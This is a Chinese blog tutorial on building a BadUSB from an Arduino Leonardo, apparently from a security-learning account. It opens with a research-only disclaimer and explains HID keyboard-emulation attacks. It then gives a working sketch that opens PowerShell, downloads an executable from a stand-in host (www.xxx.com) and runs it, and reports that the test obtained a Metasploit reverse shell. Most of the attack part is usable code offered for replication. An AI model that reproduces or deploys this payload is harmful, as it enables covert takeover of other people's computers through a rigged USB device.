以下内容仅供技术研究学习使用!
严禁用于非法操作!
切实维护国家网络安全,普及相关网络安全知识是信安从业者的义务!
BadUSB
什么是BadUsb
简介
在2014年美国黑帽大会上,安全研究人员JakobLell和独立安全研究人员Karsten Nohl展示了他们称为“BadUSB”的攻击方法,这种攻击方法让USB安全和几乎所有和USB相关的设备(包括具有USB端口的电脑)都陷入相当危险的状态。
BadUSB攻击优势
BadUSB的威胁在于:恶意代码存在于U盘的固件中,PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法应对BadUSB的攻击。
BadUSB HID 攻击原理
HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。
Teensy
攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。
Arduino
Arduino是一款便捷灵活、方便上手的开源电子原型平台。它构建于开放原始码simple
I/O介面版,并且具有使用类似Java、C语言的Processing/Wiring开发环境。主要包含两个主要的部分:硬件部分是可以用来做电路连接的Arduino电路板;另外一个则是Arduino IDE,你的计算机中的程序开发环境。你只要在IDE中编写程序代码,将程序上传到Arduino电路板后,程序便会告诉Arduino电路板要做些什么了。
攻击流程
Bad-Usb插入后,会模拟键盘鼠标对电脑进行操作,通过这些操作打开电脑的命令终端,并执行一条命令,这条命令将从指定网址下载其他代码并于后台静默运行。这些代码功能包括:窃取信息、反弹shell、发送邮件等,从而实现控制目标机或者窃取信息的目的。
制作工具
去淘宝找badusb
硬件Badusb Leonardo USB ATMEGA32U4

制作软件arduino
下载地址:https://www.arduino.cc/en/software/

开始制作badusb
先将淘宝买好的badusb插入到电脑中打开 arduino 开发板选择arduino leonardo还有com口

然后开始再 setup()函数中编写程序
#include <Keyboard.h>void setup() {Keyboard.begin();delay(1000);Keyboard.press(KEY_LEFT_GUI);delay(500);Keyboard.press('r');//按下r键delay(500);Keyboard.release(KEY_LEFT_GUI);Keyboard.release('r');delay(500);Keyboard.println("cmd ");delay(500);Keyboard.press(KEY_RETURN);delay(500);Keyboard.release(KEY_RETURN);Keyboard.println("start powershell");delay(500);Keyboard.press(KEY_RETURN);delay(500);Keyboard.release(KEY_RETURN);delay(500);Keyboard.println("$client = new-object System.Net.WebClient");delay(500);Keyboard.press(KEY_RETURN);delay(500);Keyboard.release(KEY_RETURN);Keyboard.println("$client.DownloadFile('http://www.xxx.com/admin.exe','C:/Users/Master/Desktop/admin.exe')");Keyboard.press(KEY_RETURN);delay(500);Keyboard.release(KEY_RETURN);delay(1000);Keyboard.println("exit");Keyboard.press(KEY_RETURN);delay(1000);Keyboard.release(KEY_RETURN);delay(1000);Keyboard.println("cd Desktop");Keyboard.press(KEY_RETURN);delay(1000);Keyboard.release(KEY_RETURN);delay(1000);Keyboard.println("admin.exe");Keyboard.press(KEY_RETURN);delay(1000);Keyboard.release(KEY_RETURN);delay(1000);Keyboard.println("exit");Keyboard.press(KEY_RETURN);delay(1000);Keyboard.release(KEY_RETURN);Keyboard.end();//结束键盘通讯}void loop() {}
具体按键设置
delay(5000);//延时毫秒 延时5秒Keyboard.begin(); //开始键盘通讯Keyboard.end(); //结束键盘通讯Keyboard.press(); //按下键盘按键 如果是非特殊按键如 数字、字母按键用单引号括起来Keyboard.release(); //释放键盘按键Keyboard.println(""); //输入字符串使用双引号括起来Mouse.begin();//鼠标事件开始Mouse.click();//鼠标单击Mouse.end();//鼠标事件结束Mouse.move();//鼠标移动(x,y)Mouse.press();//鼠标按下Mouse.release();//鼠标松开Mouse.isPressed();//检查鼠标上的按键有没有被按下//Win键KEY_LEFT_CTRLKEY_LEFT_SHIFTKEY_LEFT_ALTKEY_LEFT_GUIKEY_RIGHT_CTRLKEY_RIGHT_SHIFTKEY_RIGHT_ALTKEY_RIGHT_GUIKEY_UP_ARROWKEY_DOWN_ARROWKEY_LEFT_ARROWKEY_RIGHT_ARROWKEY_BACKSPACEKEY_TABKEY_RETURN//回车键KEY_ESCKEY_INSERTKEY_DELETEKEY_PAGE_UPKEY_PAGE_DOWNKEY_HOMEKEY_ENDKEY_CAPS_LOCKKEY_F1KEY_F2KEY_F3KEY_F4KEY_F5KEY_F6KEY_F7KEY_F8KEY_F9KEY_F10KEY_F11KEY_F12
写完了然后先编译,编译成功没问题再上传写入到BadUSB的固件中

勾是编译,箭头是上传
测试
插入badUSB 打开powershell 下载msf的马成功反弹拿到权限


=================================
精彩推荐
=================================
看到这了就点个关注支持以下吧,你的关注是我创作的动力。
公众号:Master学安全





